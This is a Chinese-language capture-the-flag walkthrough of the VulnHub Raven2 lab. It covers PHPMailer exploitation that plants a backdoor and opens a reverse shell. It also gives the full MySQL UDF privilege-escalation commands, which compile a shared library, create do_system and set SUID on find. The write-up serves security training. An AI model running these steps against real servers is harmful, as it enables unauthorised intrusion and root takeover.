vulnhub靶场,Raven2

vulnhub靶场,Raven2

环境准备

靶机下载地址:https://www.vulnhub.com/entry/raven-2,269/
攻击机:kali(192.168.58.130)
靶机:Raven2(192.168.58.157)
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
vulnhub靶场,Raven2_第1张图片

信息收集

使用arp-scan确定目标靶机
vulnhub靶场,Raven2_第2张图片
使用nmap扫描查看目标靶机端口开放情况
vulnhub靶场,Raven2_第3张图片
开放端口:22、80、111、56784
浏览器访问目标靶机80端口
vulnhub靶场,Raven2_第4张图片
就是一个非常普通的页面,没有啥好利用的
网站目录结构扫描

dirb http://192.168.58.157/

vulnhub靶场,Raven2_第5张图片
只查看一级目录,然后挨个去访问试试
访问http://192.168.58.157/vendor/时,出现如下页面
vulnhub靶场,Raven2_第6张图片
然后挨个去查看,查看PATH文件时,成功获取到第一个flag
vulnhub靶场,Raven2_第7张图片
查看README.md文件,可以看到目标网站安装了PHPMailer
vulnhub靶场,Raven2_第8张图片
查看VERSION文件,可以看到PHPMailer版本为5.2.16
vulnhub靶场,Raven2_第9张图片
上面目录扫描发现下面还有一个wordpress的网站,访问试试
vulnhub靶场,Raven2_第10张图片
可以看到输入的IP变为一个域名了,肯定是域名重定向了
进入配置文件/etc/hots,进行配置
vulnhub靶场,Raven2_第11张图片
再次访问成功找到wordpress主网页
vulnhub靶场,Raven2_第12张图片
既然知道网站CMS为wordpress,那就使用wpscan扫描看看

wpscan --url http://192.168.58.157/wordpress/

vulnhub靶场,Raven2_第13张图片
就只知道了CMS的版本号,没有啥大用处
前面扫描发现网站安装了PHPMailer,在kali的漏洞库里搜索PHPMailer存在的漏洞
vulnhub靶场,Raven2_第14张图片

渗透过程

前面信息收集看到PHPMailer确实存在漏洞,然后这里使用40974.py
将攻击代码复制到本地

查看其内容,发现有几个位置是需要修改的
开头要加上

#!/usr/bin/python
# -*- coding: utf-8 -*-

vulnhub靶场,Raven2_第15张图片
防止乱码出现错误
然后在如下位置进行修改
vulnhub靶场,Raven2_第16张图片
保存后退出,这个存在漏洞的网页是在contact.php里,运行这个攻击文件会自动在网站根目录下面生成一个后门文件icepeak.php

这个错误是没有安装requests_toolbelt,使用pip install安装一下

这个提示是python3中已经安装了requests_toolbelt,所以使用python3去运行

python3 40974.py 

vulnhub靶场,Raven2_第17张图片
然后使用kali监听8888端口

浏览器访问后门文件

可以看到kali这边成功反弹到一个shell

使用find命令查找flag

find / -name flag*

vulnhub靶场,Raven2_第18张图片
成功找到flag2和flag3
vulnhub靶场,Raven2_第19张图片
vulnhub靶场,Raven2_第20张图片

权限提升

利用工具LinEnum(Linux枚举及权限提升检查工具)
下载地址:https://github.com/rebootuser/LinEnum

开启一个临时服务器

靶机使用wegt将LinEnum.sh下载到本地
vulnhub靶场,Raven2_第21张图片
给LinEnum.sh执行的权限

运行LinEnum.sh

可以看到mysql服务器是以root身份运行的
进入wordpress网站的根目录,查看wp-config.php的信息
vulnhub靶场,Raven2_第22张图片
可以看到里面放着mysql的账号和密码:root:R@v3nSecurity
登入mysql服务器,查看你mysql版本信息
vulnhub靶场,Raven2_第23张图片
网上搜索关键字
vulnhub靶场,Raven2_第24张图片
可以看到可以使用udf提权
kali漏洞库搜索udf
vulnhub靶场,Raven2_第25张图片
这里使用1518.c
将1518.c下载到本地
vulnhub靶场,Raven2_第26张图片
然后进行编译

gcc -g -c 1518.c 
gcc -g -shared -o icepeak.so 1518.o -lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名

vulnhub靶场,Raven2_第27张图片
开启一个临时服务器

靶机将icepak.so下载到本地
vulnhub靶场,Raven2_第28张图片
进入数据库,发现是具有读和写的权限的
vulnhub靶场,Raven2_第29张图片

use mysql; 
#进入数据库
create table foo(line blob); 
#创建数据表foo
insert into foo values(load_file('/tmp/icepeak.so')); 
#插入数据
select * from foo into dumpfile '/usr/lib/mysql/plugin/icepeak.so'; 
#( Foo表成功插入二进制数据,
然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数)
create function do_system returns integer soname 'icepeak.so'; 
#(创建自定义函数do_system 类型是integer,别名
soname文件名字然后查询函数是否创建成功)
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find'); 
#(调用do_system函数来给find命令所有者的suid权限,使其可以执行
 root命令)
quit

vulnhub靶场,Raven2_第30张图片
退出mysql,使用/usr/bin/find提权
vulnhub靶场,Raven2_第31张图片
可以看到权限已经为root了,切换其根目录,发现最后一个flag,Raven2靶机所有flag查找完毕,至此,Raven2靶机渗透结束
vulnhub靶场,Raven2_第32张图片

你可能感兴趣的:(靶场实战,渗透测试)